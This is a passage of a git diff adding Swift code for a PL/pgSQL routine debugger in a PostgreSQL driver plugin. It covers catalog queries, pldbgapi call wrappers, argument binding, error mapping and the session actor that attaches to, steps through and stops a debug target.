+                        || pg_catalog.replace(ty.typname, '"', '""') || '"'
+                    FROM pg_catalog.generate_subscripts(\(argumentTypes), 1) AS s(i)
+                    JOIN pg_catalog.pg_type ty ON ty.oid = (\(argumentTypes))[s.i]
+                    JOIN pg_catalog.pg_namespace tn ON tn.oid = ty.typnamespace
+                    ORDER BY s.i
+                ),
+                \(defaultsColumn)
+            FROM (SELECT 1) AS one
+            LEFT JOIN pg_catalog.pg_proc p ON p.oid = \(oidLiteral(oid))
+            LEFT JOIN pg_catalog.pg_namespace n ON n.oid = p.pronamespace
+            LEFT JOIN pg_catalog.pg_language l ON l.oid = p.prolang
+            LEFT JOIN pg_catalog.pg_roles r ON r.rolname = CURRENT_USER
+            """
+    }
+
+    static func targetListQuery(schema: String, hasProcedureKind: Bool) -> String {
+        let kindColumn = hasProcedureKind ? "p.prokind" : "'f'"
+        let kindFilter = hasProcedureKind ? "p.prokind IN ('f', 'p')" : "NOT p.proisagg AND NOT p.proiswindow"
+        return """
+            SELECT
+                p.oid::pg_catalog.text,
+                p.proname,
+                n.nspname,
+                '(' || pg_catalog.pg_get_function_identity_arguments(p.oid) || ')',
+                \(kindColumn)
+            FROM pg_catalog.pg_proc p
+            JOIN pg_catalog.pg_namespace n ON n.oid = p.pronamespace
+            JOIN pg_catalog.pg_language l ON l.oid = p.prolang
+            WHERE n.nspname = \(PostgreSQLObjectQueries.quoteLiteral(schema))
+                AND l.lanname = 'plpgsql'
+                AND \(kindFilter)
+                AND NOT \(returnsTriggerTest)
+                AND NOT \(pseudoTypeArgumentTest)
+                AND NOT EXISTS (
+                    SELECT 1 FROM pg_catalog.pg_depend d
+                    WHERE d.classid = 'pg_catalog.pg_proc'::pg_catalog.regclass AND d.objid = p.oid AND d.deptype = 'e'
+                )
+            ORDER BY p.proname, 4
+            """
+    }
+
+    // proargtypes holds the arguments a call passes; a pseudo-type there (anyelement, record) cannot be bound.
+    // Named, never cast: event_trigger arrived in 9.3, and a cast to a type the server lacks fails the whole query.
+    private static let returnsTriggerTest = """
+        EXISTS (
+                    SELECT 1 FROM pg_catalog.pg_type rt
+                    JOIN pg_catalog.pg_namespace rn ON rn.oid = rt.typnamespace
+                    WHERE rt.oid = p.prorettype AND rn.nspname = 'pg_catalog' AND rt.typname IN ('trigger', 'event_trigger')
+                )
+        """
+
+    private static let pseudoTypeArgumentTest = """
+        EXISTS (
+                    SELECT 1 FROM pg_catalog.unnest(p.proargtypes::pg_catalog.oid[]) AS a(t)
+                    JOIN pg_catalog.pg_type ty ON ty.oid = a.t
+                    WHERE ty.typtype = 'p'
+                )
+        """
+
+    // The owner may signal and see its own backends, so no superuser or pg_signal_backend is needed.
+    static func cancelBackendStatement(process: Int) -> String {
+        "SELECT pg_catalog.pg_cancel_backend(\(process))"
+    }
+
+    static func backendCountStatement(process: Int) -> String {
+        "SELECT pg_catalog.count(*) FROM pg_catalog.pg_stat_activity WHERE pid = \(process)"
+    }
+
+    static func routineSourceStatement(oid: UInt32) -> String {
+        "SELECT p.prosrc FROM pg_catalog.pg_proc p WHERE p.oid = \(oidLiteral(oid))"
+    }
+
+    // MARK: - pldbgapi calls
+
+    static func oidDebugStatement(extensionSchema: String, oid: UInt32) -> String {
+        "SELECT \(function("pldbg_oid_debug", in: extensionSchema))(\(oidLiteral(oid)))"
+    }
+
+    // The argument is the target's backend number from its PLDBGBREAK notice, not a TCP port.
+    static func attachStatement(extensionSchema: String, port: Int) -> String {
+        "SELECT \(function("pldbg_attach_to_port", in: extensionSchema))(\(port))"
+    }
+
+    static func waitStatement(extensionSchema: String, session: Int) -> String {
+        breakpointRead("pldbg_wait_for_breakpoint", extensionSchema, "\(session)")
+    }
+
+    static func stepStatement(_ command: PluginDebugCommand, extensionSchema: String, session: Int) -> String? {
+        let name: String
+        switch command {
+        case .continueExecution:
+            name = "pldbg_continue"
+        case .stepOver:
+            name = "pldbg_step_over"
+        case .stepInto:
+            name = "pldbg_step_into"
+        case .stepOut:
+            return nil
+        @unknown default:
+            return nil
+        }
+        return breakpointRead(name, extensionSchema, "\(session)")
+    }
+
+    static func selectFrameStatement(extensionSchema: String, session: Int, level: Int) -> String {
+        breakpointRead("pldbg_select_frame", extensionSchema, "\(session), \(level)")
+    }
+
+    static func sourceStatement(extensionSchema: String, session: Int, oid: UInt32) -> String {
+        "SELECT \(function("pldbg_get_source", in: extensionSchema))(\(session), \(oidLiteral(oid)))"
+    }
+
+    static func stackStatement(extensionSchema: String, session: Int) -> String {
+        "SELECT level, targetname, func, linenumber, args FROM \(function("pldbg_get_stack", in: extensionSchema))(\(session))"
+    }
+
+    static func variablesStatement(extensionSchema: String, session: Int) -> String {
+        """
+        SELECT name, varclass, linenumber, isunique, isconst, isnotnull, pg_catalog.format_type(dtype, NULL), value \
+        FROM \(function("pldbg_get_variables", in: extensionSchema))(\(session))
+        """
+    }
+
+    static func setBreakpointStatement(extensionSchema: String, session: Int, oid: UInt32, line: Int) -> String {
+        "SELECT \(function("pldbg_set_breakpoint", in: extensionSchema))(\(session), \(oidLiteral(oid)), \(line))"
+    }
+
+    static func dropBreakpointStatement(extensionSchema: String, session: Int, oid: UInt32, line: Int) -> String {
+        "SELECT \(function("pldbg_drop_breakpoint", in: extensionSchema))(\(session), \(oidLiteral(oid)), \(line))"
+    }
+
+    static func abortStatement(extensionSchema: String, session: Int) -> String {
+        "SELECT * FROM \(function("pldbg_abort_target", in: extensionSchema))(\(session))"
+    }
+
+    private static func breakpointRead(_ name: String, _ extensionSchema: String, _ arguments: String) -> String {
+        "SELECT func, linenumber, targetname FROM \(function(name, in: extensionSchema))(\(arguments))"
+    }
+
+    // pldbgapi is relocatable, so every call names the schema it was created in.
+    private static func function(_ name: String, in extensionSchema: String) -> String {
+        "\(PostgreSQLObjectQueries.quoteIdentifier(extensionSchema)).\(name)"
+    }
+
+    static func oidLiteral(_ oid: UInt32) -> String {
+        "\(PostgreSQLObjectQueries.quoteLiteral(String(oid)))::pg_catalog.oid"
+    }
+
+    // MARK: - Replies
+
+    static func debuggerPort(inNotice message: String) -> Int? {
+        let trimmed = message.trimmingCharacters(in: .whitespacesAndNewlines)
+        guard trimmed.hasPrefix(breakNoticePrefix) else { return nil }
+        return Int(trimmed.dropFirst(breakNoticePrefix.count))
+    }
+
+    // The stop pldebugger reports is one past the statement's line (plpgsql_debugger.c sends lineno + 1);
+    // stack frames and breakpoints use the line itself.
+    static func location(fromBreakpointRow row: [String?]) -> PluginDebugLocation? {
+        guard let unit = cell(row, 0), !unit.isEmpty,
+              let reported = cell(row, 1).flatMap({ Int($0) })
+        else { return nil }
+        return PluginDebugLocation(
+            unit: PluginDebugUnit(identity: unit, displayName: cell(row, 2) ?? unit),
+            line: max(reported - 1, 1)
+        )
+    }
+
+    static func frame(fromStackRow row: [String?]) -> PluginDebugFrame? {
+        guard let level = cell(row, 0).flatMap({ Int($0) }) else { return nil }
+        var location: PluginDebugLocation?
+        if let unit = cell(row, 2), let line = cell(row, 3).flatMap({ Int($0) }) {
+            location = PluginDebugLocation(
+                unit: PluginDebugUnit(identity: unit, displayName: cell(row, 1) ?? unit),
+                line: line
+            )
+        }
+        return PluginDebugFrame(level: level, location: location, arguments: cell(row, 4))
+    }
+
+    static func variable(fromRow row: [String?]) -> PluginDebugVariable? {
+        guard let name = cell(row, 0) else { return nil }
+        let value = cell(row, 7)
+        return PluginDebugVariable(
+            name: name,
+            kind: variableKind(cell(row, 1)),
+            typeName: cell(row, 6),
+            // pldebugger sends SQL NULL as the text NULL, so it cannot be told from the string 'NULL'.
+            value: value == "NULL" ? nil : value,
+            isConstant: PostgreSQLCatalogBoolean.isTrue(cell(row, 4))
+        )
+    }
+
+    static func variableKind(_ code: String?) -> PluginDebugVariableKind {
+        switch code {
+        case "A": return .argument
+        case "P": return .package
+        default: return .local
+        }
+    }
+
+    private static func cell(_ row: [String?], _ index: Int) -> String? {
+        row.indices.contains(index) ? row[index] : nil
+    }
+
+    // MARK: - Targets
+
+    static func target(for routine: PluginRoutineInfo) -> PluginDebugTarget? {
+        guard routine.language?.lowercased() == "plpgsql",
+              let identity = routine.identity, UInt32(identity) != nil,
+              !triggerReturnTypes.contains(routine.returnType?.lowercased() ?? ""),
+              !signatureTakesPseudoType(routine.argumentSignature)
+        else { return nil }
+        return PluginDebugTarget(
+            identity: identity,
+            name: routine.name + (routine.argumentSignature ?? ""),
+            schema: routine.schema,
+            kindDisplayName: kindDisplayName(isProcedure: routine.kind == .procedure)
+        )
+    }
+
+    // The signature is pg_get_function_identity_arguments in parentheses: "(IN a integer, b anyelement)". A type is
+    // the last word of its argument, so a parameter named like a type does not count.
+    static func signatureTakesPseudoType(_ signature: String?) -> Bool {
+        guard let signature else { return false }
+        var body = Substring(signature.trimmingCharacters(in: .whitespaces))
+        if body.hasPrefix("("), body.hasSuffix(")") {
+            body = body.dropFirst().dropLast()
+        }
+        return quoteAwareSplit(body, separator: ",").contains { argument in
+            guard let type = quoteAwareSplit(argument, separator: " ").last(where: { !$0.isEmpty }) else { return false }
+            return pseudoArgumentTypes.contains(String(type))
+        }
+    }
+
+    private static func quoteAwareSplit(_ text: Substring, separator: Character) -> [Substring] {
+        var parts: [Substring] = []
+        var start = text.startIndex
+        var quoted = false
+        for index in text.indices {
+            if text[index] == "\"" {
+                quoted.toggle()
+            } else if text[index] == separator, !quoted {
+                parts.append(text[start..<index])
+                start = text.index(after: index)
+            }
+        }
+        parts.append(text[start...])
+        return parts.map { $0.trimmingCharacters(in: .whitespaces)[...] }
+    }
+
+    static func target(fromListRow row: [String?]) -> PluginDebugTarget? {
+        guard let identity = cell(row, 0), UInt32(identity) != nil, let name = cell(row, 1) else { return nil }
+        return PluginDebugTarget(
+            identity: identity,
+            name: name + (cell(row, 3) ?? ""),
+            schema: cell(row, 2),
+            kindDisplayName: kindDisplayName(isProcedure: cell(row, 4) == "p")
+        )
+    }
+
+    private static func kindDisplayName(isProcedure: Bool) -> String {
+        isProcedure ? String(localized: "Procedure") : String(localized: "Function")
+    }
+
+    // MARK: - Parameters and the call
+
+    static func parameters(types: [String], names: [String?], modes: [String], defaultCount: Int) -> [PluginDebugParameter] {
+        let resolvedModes = types.indices.map { parameterMode(modes.indices.contains($0) ? modes[$0] : "i") }
+        let inputs = types.indices.filter { resolvedModes[$0] != .output }
+        let defaulted = Set(inputs.suffix(max(defaultCount, 0)))
+        return types.indices.map { index in
+            let declared = names.indices.contains(index) ? names[index] ?? "" : ""
+            return PluginDebugParameter(
+                name: declared.isEmpty ? "$\(index + 1)" : declared,
+                typeName: types[index],
+                mode: resolvedModes[index],
+                hasDefault: defaulted.contains(index)
+            )
+        }
+    }
+
+    static func parameterMode(_ code: String) -> PluginDebugParameterMode {
+        switch code {
+        case "o", "t": return .output
+        case "b": return .inputOutput
+        case "v": return .variadic
+        default: return .input
+        }
+    }
+
+    static func call(for routine: PostgreSQLDebugRoutine, arguments: [PluginDebugArgument]) throws -> PostgreSQLDebugCall {
+        var values: [String: PluginDebugArgumentValue] = [:]
+        for argument in arguments {
+            values[argument.parameterName] = argument.value
+        }
+        var expressions: [String] = []
+        var bound: [PluginCellValue] = []
+        for (index, parameter) in routine.parameters.enumerated() {
+            let castType = routine.argumentCastTypes.indices.contains(index)
+                ? routine.argumentCastTypes[index]
+                : parameter.typeName
+            var expression: String
+            if parameter.mode == .output {
+                // CALL takes a placeholder for each OUT parameter; a function call takes none.
+                guard routine.isProcedure else { continue }
+                expression = "NULL::\(castType)"
+            } else {
+                switch values[parameter.name] ?? (parameter.hasDefault ? .defaultValue : .null) {
+                case .text(let text):
+                    bound.append(.text(text))
+                    expression = "$\(bound.count)::\(castType)"
+                case .defaultValue:
+                    expression = "(\(try defaultExpression(of: parameter, at: index, in: routine)))::\(castType)"
+                case .null:
+                    bound.append(.null)
+                    expression = "$\(bound.count)::\(castType)"
+                @unknown default:
+                    bound.append(.null)
+                    expression = "$\(bound.count)::\(castType)"
+                }
+            }
+            if parameter.mode == .variadic {
+                expression = "VARIADIC " + expression
+            }
+            expressions.append(expression)
+        }
+
+        let routineName = PostgreSQLObjectQueries.qualifiedName(schema: routine.schema, name: routine.name)
+        let argumentList = expressions.joined(separator: ", ")
+        let sql: String
+        if routine.isProcedure {
+            sql = "CALL \(routineName)(\(argumentList))"
+        } else if routine.returnsBareRecord {
+            // SELECT * FROM a function returning a bare record needs a column definition list.
+            sql = "SELECT \(routineName)(\(argumentList))"
+        } else {
+            sql = "SELECT * FROM \(routineName)(\(argumentList))"
+        }
+        return PostgreSQLDebugCall(sql: sql, parameters: bound)
+    }
+
+    // Never left out: overloads that differ only in defaulted parameters make f() ambiguous although the selected
+    // oid is known. The routine's own default expression, cast to the exact type, names that overload and is
+    // evaluated in the call just as an omitted argument's would be.
+    private static func defaultExpression(
+        of parameter: PluginDebugParameter,
+        at index: Int,
+        in routine: PostgreSQLDebugRoutine
+    ) throws -> String {
+        guard parameter.hasDefault else {
+            throw PostgreSQLRoutineDebugError.noDefault(parameter: parameter.name)
+        }
+        guard routine.defaultExpressions.indices.contains(index), let expression = routine.defaultExpressions[index] else {
+            throw PostgreSQLRoutineDebugError.defaultNotReadable(parameter: parameter.name)
+        }
+        return expression
+    }
+
+    // MARK: - Starting
+
+    static func startCancellation(portDelivered: Bool, callEnded: Bool) -> PostgreSQLDebugStartCancellation {
+        if portDelivered { return .attachAndAbort }
+        return callEnded ? .nothing : .cancelCall
+    }
+
+    static func startStep(port: Int?, isCancelled: Bool) -> PostgreSQLDebugStartStep {
+        guard let port else { return isCancelled ? .cancelled : .endedBeforeEntry }
+        return isCancelled ? .attachAndAbort(port: port) : .attach(port: port)
+    }
+
+    // MARK: - Outcomes
+
+    static func startFailure(_ error: Error, database: String, routineName: String) -> Error {
+        guard let failure = error as? any PluginDriverError else { return error }
+        let state = failure.pluginSqlState
+        let message = failure.pluginErrorMessage
+        if isSharedMemoryFailure(sqlState: state, message: message) {
+            return PostgreSQLRoutineDebugError.sharedMemoryUnavailable
+        }
+        if state == "42883", message.contains("pldbg_") {
+            return PostgreSQLRoutineDebugError.extensionMissing(database: database)
+        }
+        if state == "42501", message.contains("must be owner or superuser") {
+            return PostgreSQLRoutineDebugError.notOwner(routine: routineName)
+        }
+        return error
+    }
+
+    // Without the preload, pldebugger takes its slots from spare shared memory (dbgcomm.c) and can run out.
+    private static func isSharedMemoryFailure(sqlState: String?, message: String) -> Bool {
+        message.contains("out of shared memory")
+            || message.contains("Debugger Connection slots")
+            || (sqlState == "53200" && message.contains("shared memory"))
+    }
+
+    // pldbgapi raises 08006 in two cases: "debugger connection terminated" when the target left the debugger,
+    // finished or not, and "select() failed waiting for target" when a signal reached the waiting proxy.
+    static func proxyFailure(_ error: Error) -> PostgreSQLDebugProxyFailure {
+        guard let failure = error as? LibPQPluginError, failure.sqlState == targetEndedState else { return .broken }
+        return failure.message.contains("select() failed") ? .interrupted : .targetEnded
+    }
+
+    static func end(
+        of outcome: Result<PluginQueryResult, Error>,
+        stopRequested: Bool,
+        interrupted: Bool = false
+    ) -> PluginDebugStop {
+        let ownMessage = interrupted ? interruptedMessage : stoppedMessage
+        switch outcome {
+        case .success(let result):
+            return .finished(result.columns.isEmpty ? nil : result)
+        case .failure(let error):
+            if error is CancellationError {
+                return .failed(message: ownMessage, detail: nil)
+            }
+            let failure = error as? any PluginDriverError
+            let parts = serverMessage(failure?.pluginErrorMessage ?? error.localizedDescription)
+            if stopRequested || interrupted, failure?.pluginSqlState == queryCanceledState {
+                return .failed(message: ownMessage, detail: parts.detail)
+            }
+            return .failed(message: parts.message, detail: parts.detail)
+        }
+    }
+
+    // A routine's own SET overrides the session's on entry (measured): a stricter client_min_messages hides the
+    // PLDBGBREAK notice, so the start never sees the target, and a transaction_timeout ends a target that waits
+    // at a breakpoint.
+    static func blockingSetting(in configuration: [String]) -> PostgreSQLRoutineDebugError? {
+        for entry in configuration {
+            guard let separator = entry.firstIndex(of: "=") else { continue }
+            let name = entry[..<separator].trimmingCharacters(in: .whitespaces).lowercased()
+            let value = entry[entry.index(after: separator)...].trimmingCharacters(in: .whitespaces)
+            switch name {
+            case "client_min_messages" where noticeHidingLevels.contains(value.lowercased()):
+                return .hidesDebuggerNotice(value: value)
+            case "transaction_timeout" where !isZeroDuration(value):
+                return .limitsTransactionTime(value: value)
+            default:
+                continue
+            }
+        }
+        return nil
+    }
+
+    private static let noticeHidingLevels: Set<String> = ["warning", "error", "fatal", "panic"]
+
+    private static func isZeroDuration(_ value: String) -> Bool {
+        let digits = value.prefix { $0.isNumber }
+        guard !digits.isEmpty, digits.allSatisfy({ $0 == "0" }) else { return false }
+        return ["", "us", "ms", "s", "min", "h", "d"].contains(value.dropFirst(digits.count).lowercased())
+    }
+
+    // libpq formats an error as "SEVERITY:  message" followed by DETAIL, HINT and CONTEXT lines.
+    static func serverMessage(_ text: String) -> (message: String, detail: String?) {
+        let lines = text
+            .split(whereSeparator: \.isNewline)
+            .map { $0.trimmingCharacters(in: .whitespaces) }
+            .filter { !$0.isEmpty }
+        guard let first = lines.first else { return (text, nil) }
+        let detail = lines.dropFirst().joined(separator: "\n")
+        return (withoutSeverity(first), detail.isEmpty ? nil : detail)
+    }
+
+    private static func withoutSeverity(_ line: String) -> String {
+        guard let separator = line.range(of: ":  ") else { return line }
+        let label = line[..<separator.lowerBound]
+        guard !label.isEmpty, label.allSatisfy(\.isLetter) else { return line }
+        return String(line[separator.upperBound...])
+    }
+}
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugSession.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugSession.swift
new file mode 100644
index 0000000000..3e5cff11ed
--- /dev/null
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugSession.swift
@@ -0,0 +1,689 @@
+//
+//  PostgreSQLRoutineDebugSession.swift
+//  PostgreSQLDriverPlugin
+//
+
+import Foundation
+import os
+import TableProPluginKit
+import TableProPostgreSQLCore
+
+// The target session runs the routine and blocks for the whole run; the proxy session drives it through pldbgapi.
+// Every proxy call goes through that connection's serial queue, so nothing reaches the proxy while a step waits:
+// client traffic then ends the debugger.
+actor PostgreSQLRoutineDebugSession: PluginDebugSession {
+    private enum Phase {
+        case starting
+        case paused
+        case running
+        case broken
+        case ended
+    }
+
+    private static let logger = Logger(subsystem: "com.TablePro.PostgreSQLDriver", category: "RoutineDebugSession")
+    private static let attachRetryDelay = Duration.milliseconds(300)
+    private static let cancelRetryDelay = Duration.milliseconds(250)
+    // stop() must return within 3 s, and the host closes every driver as soon as it does, so all of ending the
+    // target, a rescue session included, fits in this.
+    private static let stopBudget = Duration.milliseconds(2_500)
+
+    nonisolated let supportedCommands = PostgreSQLRoutineDebugProtocol.supportedCommands
+    nonisolated let output: AsyncStream<String>
+
+    private let target: PostgreSQLPluginDriver
+    private let proxy: PostgreSQLPluginDriver
+    private let sessions: any PluginDebugSessionSource
+    private let routine: PostgreSQLDebugRoutine
+    private let extensionSchema: String
+    private let targetProcess: Int?
+    private let initialBreakpoints: [PluginDebugBreakpoint]
+    private let outputContinuation: AsyncStream<String>.Continuation
+    private let rendezvous = PostgreSQLDebugRendezvous()
+    // Settled the moment stop() is asked, so a read or breakpoint call it overlaps returns at once, and on every
+    // other way the run ends, so no wait on it outlives the session.
+    private let stopSignal = PostgreSQLDebugRendezvous()
+
+    private var phase = Phase.starting
+    private var hasReportedFirstStop = false
+    private var lastStop: PluginDebugLocation?
+    private var selectedFrame = 0
+    private var port: Int?
+    private var handle: Int?
+    private var targetCall: Task<Result<PluginQueryResult, Error>, Never>?
+    private var terminalStop: PluginDebugStop?
+    private var stopRequested = false
+    private var stopTask: Task<Void, Never>?
+    private var stopDeadline: ContinuousClock.Instant?
+    private var abortSent = false
+    // The target read an abort: through the proxy, or through a session that attached to it.
+    private var abortDelivered = false
+    // Another session saw the target's backend gone from pg_stat_activity.
+    private var backendGone = false
+    private var proxyInterrupted = false
+    private var endedByInterruption = false
+
+    init(
+        target: PostgreSQLPluginDriver,
+        proxy: PostgreSQLPluginDriver,
+        sessions: any PluginDebugSessionSource,
+        routine: PostgreSQLDebugRoutine,
+        extensionSchema: String,
+        targetProcess: Int?,
+        breakpoints: [PluginDebugBreakpoint]
+    ) {
+        self.target = target
+        self.proxy = proxy
+        self.sessions = sessions
+        self.routine = routine
+        self.extensionSchema = extensionSchema
+        self.targetProcess = targetProcess
+        self.initialBreakpoints = breakpoints
+        let (stream, continuation) = AsyncStream<String>.makeStream()
+        output = stream
+        outputContinuation = continuation
+    }
+
+    // Sends the call on the target, waits for the PLDBGBREAK notice it raises on entering the routine, and
+    // attaches the proxy to the backend number that notice names.
+    func start(_ call: PostgreSQLDebugCall) async throws {
+        let rendezvous = rendezvous
+        let continuation = outputContinuation
+        let target = target
+        target.core.observeServerNotices { notice in
+            if let port = PostgreSQLRoutineDebugProtocol.debuggerPort(inNotice: notice.message) {
+                rendezvous.deliver(port: port)
+            } else {
+                continuation.yield(notice.text)
+            }
+        }
+        targetCall = Task {
+            let outcome: Result<PluginQueryResult, Error>
+            do {
+                outcome = .success(try await target.executeParameterized(query: call.sql, parameters: call.parameters))
+            } catch {
+                outcome = .failure(error)
+            }
+            target.core.observeServerNotices(nil)
+            continuation.finish()
+            rendezvous.settle()
+            return outcome
+        }
+
+        let delivered = await withTaskCancellationHandler {
+            await rendezvous.port()
+        } onCancel: {
+            Self.cancelUntilEntered(target: target, rendezvous: rendezvous, until: .now + Self.stopBudget)
+        }
+        switch PostgreSQLRoutineDebugProtocol.startStep(port: delivered, isCancelled: Task.isCancelled || stopRequested) {
+        case .endedBeforeEntry:
+            try await endBeforeEntry()
+        case .cancelled:
+            phase = .ended
+            stopSignal.settle()
+            if rendezvous.isAbandoned {
+                throw PostgreSQLRoutineDebugError.targetAbandoned(process: targetProcess, port: nil)
+            }
+            _ = await targetCall?.value
+            throw CancellationError()
+        case .attachAndAbort(let announced):
+            port = announced
+            throw await stopForStart(otherwise: CancellationError())
+        case .attach(let announced):
+            port = announced
+            do {
+                handle = try await Self.attach(using: proxy, port: announced, extensionSchema: extensionSchema)
+                phase = .paused
+            } catch {
+                phase = .broken
+                Self.logger.error("Attaching to the debug target failed: \(error.localizedDescription, privacy: .private)")
+                throw await stopForStart(otherwise: PostgreSQLRoutineDebugProtocol.startFailure(
+                    error,
+                    database: routine.database,
+                    routineName: routine.displayName
+                ))
+            }
+            // The attach does not observe cancellation, so a start cancelled meanwhile is ended here, as Stop would.
+            if Task.isCancelled {
+                throw await stopForStart(otherwise: CancellationError())
+            }
+        }
+    }
+
+    // A backend that may still hold its locks matters more than why the start failed.
+    private func stopForStart(otherwise error: Error) async -> Error {
+        guard case .unconfirmed = await stop() else { return error }
+        return PostgreSQLRoutineDebugError.targetAbandoned(process: targetProcess, port: port)
+    }
+
+    // A cancel reaches only a call libpq has already sent, so it is repeated until the call ends or the target
+    // announces its port; from then on the target ignores a cancel and the attach and abort end it. A target that
+    // neither ends nor announces itself by the deadline is given up, so nothing waits on it forever.
+    private static func cancelUntilEntered(
+        target: PostgreSQLPluginDriver,
+        rendezvous: PostgreSQLDebugRendezvous,
+        until deadline: ContinuousClock.Instant
+    ) {
+        Task.detached {
+            while PostgreSQLRoutineDebugProtocol.startCancellation(
+                portDelivered: rendezvous.hasPort,
+                callEnded: rendezvous.hasSettled
+            ) == .cancelCall {
+                let remaining = ContinuousClock.now.duration(to: deadline)
+                guard remaining > .zero else {
+                    logger.fault("The debug target neither ended nor reached the routine before the stop deadline")
+                    rendezvous.abandon()
+                    return
+                }
+                target.core.cancelQuery()
+                try? await Task.sleep(for: min(cancelRetryDelay, remaining))
+            }
+        }
+    }
+
+    // The call ended before the routine was entered: its arguments were refused, the debugger could not start,
+    // or the start was cancelled.
+    private func endBeforeEntry() async throws {
+        let outcome = await targetCall?.value ?? .failure(CancellationError())
+        phase = .ended
+        stopSignal.settle()
+        hasReportedFirstStop = true
+        if case .failure(let error) = outcome {
+            if error is CancellationError { throw CancellationError() }
+            throw PostgreSQLRoutineDebugProtocol.startFailure(
+                error,
+                database: routine.database,
+                routineName: routine.displayName
+            )
+        }
+        terminalStop = PostgreSQLRoutineDebugProtocol.end(of: outcome, stopRequested: false)
+    }
+
+    func firstStop() async throws -> PluginDebugStop {
+        if let terminalStop { return terminalStop }
+        if stopRequested { return await outcomeAfterStop() }
+        if hasReportedFirstStop, phase == .paused, let lastStop { return .paused(lastStop) }
+        guard phase == .paused, let handle else { throw PostgreSQLRoutineDebugError.notPaused }
+        return try await advance(
+            PostgreSQLRoutineDebugProtocol.waitStatement(extensionSchema: extensionSchema, session: handle),
+            placing: initialBreakpoints
+        )
+    }
+
+    func perform(_ command: PluginDebugCommand) async throws -> PluginDebugStop {
+        if let terminalStop { return terminalStop }
+        if stopRequested { return await outcomeAfterStop() }
+        guard phase == .paused, hasReportedFirstStop, let handle else { throw PostgreSQLRoutineDebugError.notPaused }
+        guard let statement = PostgreSQLRoutineDebugProtocol.stepStatement(
+            command,
+            extensionSchema: extensionSchema,
+            session: handle
+        ) else {
+            throw PostgreSQLRoutineDebugError.unsupportedCommand
+        }
+        return try await advance(statement)
+    }
+
+    private func advance(
+        _ statement: String,
+        placing breakpoints: [PluginDebugBreakpoint] = []
+    ) async throws -> PluginDebugStop {
+        phase = .running
+        selectedFrame = 0
+        let reply: PluginQueryResult
+        // The target keeps its debugger socket for the rest of its session, so when the routine returns without
+        // pausing again the proxy only hears of it once that session closes (measured: 8 s later, on disconnect).
+        // The target's own call ending is the signal instead.
+        let proxy = proxy
+        guard let answered = await rendezvous.reply(to: Task { try await proxy.execute(query: statement) }) else {
+            return await targetEnded()
+        }
+        do {
+            reply = try answered.get()
+        } catch {
+            switch PostgreSQLRoutineDebugProtocol.proxyFailure(error) {
+            case .targetEnded:
+                return await targetEnded()
+            case .interrupted:
+                // The target goes on to its next pause and waits for a command the session can no longer match to
+                // a reply, so it is ended the way Stop ends it.
+                noteInterruption()
+                endedByInterruption = !stopRequested
+                Self.logger.error("A signal interrupted the debugger session while it waited; ending the target")
+                await endTarget()
+                return await targetEnded()
+            case .broken:
+                phase = .broken
+                Self.logger.error("The debugger session failed: \(error.localizedDescription, privacy: .private)")
+                guard stopRequested else { throw error }
+                await endTarget()
+                return await outcomeAfterStop()
+            }
+        }
+        hasReportedFirstStop = true
+        guard let stop = PostgreSQLRoutineDebugProtocol.location(
+            fromBreakpointRow: reply.rows.first?.map(\.asText) ?? []
+        ) else {
+            return await targetEnded()
+        }
+        phase = .paused
+        lastStop = stop
+        if stopRequested {
+            // The target paused before the cancel reached it, and a paused target holds a cancel until it resumes.
+            await endTarget()
+            return await targetEnded()
+        }
+        if let handle {
+            for breakpoint in breakpoints where !stopRequested {
+                do {
+                    _ = try await place(breakpoint, session: handle)
+                } catch where PostgreSQLRoutineDebugProtocol.proxyFailure(error) == .interrupted {
+                    noteInterruption()
+                    endedByInterruption = !stopRequested
+                    await endTarget()
+                    return await targetEnded()
+                } catch {
+                    continue
+                }
+            }
+        }
+        if stopRequested { return await outcomeAfterStop() }
+        return .paused(stop)
+    }
+
+    // MARK: - Reading the paused target
+
+    func source(of unit: PluginDebugUnit) async throws -> String {
+        guard let oid = PostgreSQLRoutineDebugProtocol.oid(inIdentity: unit.identity) else {
+            throw PostgreSQLRoutineDebugError.routineNotFound(unit.displayName)
+        }
+        guard !stopRequested else { throw CancellationError() }
+        switch phase {
+        case .starting, .running:
+            throw PostgreSQLRoutineDebugError.notPaused
+        case .broken:
+            throw PostgreSQLRoutineDebugError.unavailable
+        case .paused where hasReportedFirstStop:
+            let schema = extensionSchema
+            let reply = try await pausedRead {
+                PostgreSQLRoutineDebugProtocol.sourceStatement(extensionSchema: schema, session: $0, oid: oid)
+            }
+            if let text = reply?.rows.first?.first?.asText { return text }
+        case .paused:
+            break
+        case .ended:
+            // The proxy may still be waiting on a target that returned; the target's own session is free again.
+            guard !rendezvous.isAbandoned else { throw PostgreSQLRoutineDebugError.unavailable }
+            let reply = try await target.execute(query: PostgreSQLRoutineDebugProtocol.routineSourceStatement(oid: oid))
+            guard let text = reply.rows.first?.first?.asText else {
+                throw PostgreSQLRoutineDebugError.routineNotFound(unit.displayName)
+            }
+            return text
+        }
+        // pldbg_get_source sends prosrc, which the catalog answers too while the proxy is idle.
+        let reply = try await proxyCall(PostgreSQLRoutineDebugProtocol.routineSourceStatement(oid: oid))
+        guard let text = reply.rows.first?.first?.asText else {
+            throw PostgreSQLRoutineDebugError.routineNotFound(unit.displayName)
+        }
+        return text
+    }
+
+    func stack() async throws -> [PluginDebugFrame] {
+        let schema = extensionSchema
+        guard let reply = try await pausedRead({
+            PostgreSQLRoutineDebugProtocol.stackStatement(extensionSchema: schema, session: $0)
+        }) else { return [] }
+        return reply.rows.compactMap { PostgreSQLRoutineDebugProtocol.frame(fromStackRow: $0.map(\.asText)) }
+    }
+
+    func variables(inFrame level: Int) async throws -> [PluginDebugVariable] {
+        let schema = extensionSchema
+        if level != selectedFrame {
+            guard try await pausedRead({
+                PostgreSQLRoutineDebugProtocol.selectFrameStatement(extensionSchema: schema, session: $0, level: level)
+            }) != nil else { return [] }
+            selectedFrame = level
+        }
+        guard let reply = try await pausedRead({
+            PostgreSQLRoutineDebugProtocol.variablesStatement(extensionSchema: schema, session: $0)
+        }) else { return [] }
+        return reply.rows.compactMap { PostgreSQLRoutineDebugProtocol.variable(fromRow: $0.map(\.asText)) }
+    }
+
+    func setBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws -> PluginDebugBreakpoint? {
+        guard let handle = try pausedSession() else { return nil }
+        do {
+            return try await place(breakpoint, session: handle)
+        } catch is CancellationError {
